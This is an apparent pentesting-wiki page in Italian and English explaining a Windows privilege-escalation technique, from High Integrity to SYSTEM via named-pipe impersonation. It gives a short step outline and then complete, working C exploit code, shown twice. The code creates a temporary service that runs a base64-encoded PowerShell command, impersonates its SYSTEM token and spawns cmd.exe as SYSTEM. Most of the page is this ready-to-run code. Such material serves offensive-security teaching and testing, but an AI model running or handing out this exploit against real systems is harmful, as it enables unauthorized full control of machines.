From High Integrity to SYSTEM with Name Pipes

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Flusso di codice:

Crea un nuovo Pipe
Crea e avvia un servizio che si connetterà al pipe creato e scriverà qualcosa. Il codice del servizio eseguirà questo codice PS codificato: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
Il servizio riceve i dati dal client nel pipe, chiama ImpersonateNamedPipeClient e attende che il servizio finisca
Infine, utilizza il token ottenuto dal servizio per avviare un nuovo cmd.exe

Se non hai privilegi sufficienti, l'exploit potrebbe bloccarsi e non restituire mai nulla.

#include <windows.h>
#include <time.h>

#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512

int ServiceGo(void) {

SC_HANDLE scManager;
SC_HANDLE scService;

scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

if (scManager == NULL) {
return FALSE;
}

// create Piper service
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL, NULL, NULL, NULL, NULL);

if (scService == NULL) {
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
return FALSE;
}

// launch it
StartService(scService, 0, NULL);

// wait a bit and then cleanup
Sleep(10000);
DeleteService(scService);

CloseServiceHandle(scService);
CloseServiceHandle(scManager);
}

int main() {

LPCSTR sPipeName = "\\\\.\\pipe\\piper";
HANDLE hSrvPipe;
HANDLE th;
BOOL bPipeConn;
char pPipeBuf[MESSAGE_SIZE];
DWORD dBRead = 0;

HANDLE hImpToken;
HANDLE hNewToken;
STARTUPINFOA si;
PROCESS_INFORMATION pi;

// open pipe
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

// create and run service
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);

// wait for the connection from the service
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
if (bPipeConn) {
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);

// impersonate the service (SYSTEM)
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
return -1;
}

// wait for the service to cleanup
WaitForSingleObject(th, INFINITE);

// get a handle to impersonated token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
return -2;
}

// create new primary token for new process
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
TokenPrimary, &hNewToken)) {
return -4;
}

//Sleep(20000);
// spawn cmd.exe as full SYSTEM user
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
return -5;
}

// revert back to original security context
RevertToSelf();

}

return 0;
}

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PreviousDPAPI - Extracting Passwords NextIntegrity Levels

Last updated 4 days ago

#include <windows.h> #include <time.h> #pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32") #define PIPESRV "PiperSrv" #define MESSAGE_SIZE 512 int ServiceGo(void) { SC_HANDLE scManager; SC_HANDLE scService; scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (scManager == NULL) { return FALSE; } // create Piper service scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, "C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", NULL, NULL, NULL, NULL, NULL); if (scService == NULL) { //printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); return FALSE; } // launch it StartService(scService, 0, NULL); // wait a bit and then cleanup Sleep(10000); DeleteService(scService); CloseServiceHandle(scService); CloseServiceHandle(scManager); } int main() { LPCSTR sPipeName = "\\\\.\\pipe\\piper"; HANDLE hSrvPipe; HANDLE th; BOOL bPipeConn; char pPipeBuf[MESSAGE_SIZE]; DWORD dBRead = 0; HANDLE hImpToken; HANDLE hNewToken; STARTUPINFOA si; PROCESS_INFORMATION pi; // open pipe hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); // create and run service th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0); // wait for the connection from the service bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); if (bPipeConn) { ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL); // impersonate the service (SYSTEM) if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { return -1; } // wait for the service to cleanup WaitForSingleObject(th, INFINITE); // get a handle to impersonated token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) { return -2; } // create new primary token for new process if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hNewToken)) { return -4; } //Sleep(20000); // spawn cmd.exe as full SYSTEM user ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { return -5; } // revert back to original security context RevertToSelf(); } return 0; }